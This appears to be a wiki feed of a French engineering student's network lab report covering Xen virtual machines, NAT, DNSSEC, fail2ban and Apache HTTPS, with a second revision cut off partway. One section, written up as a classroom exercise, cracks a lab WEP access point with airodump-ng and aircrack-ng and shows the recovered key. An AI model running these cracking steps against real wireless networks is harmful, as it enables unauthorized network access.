		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12149"/>
		<updated>2026-02-10T14:42:26Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12148</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12148"/>
		<updated>2026-02-10T14:36:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
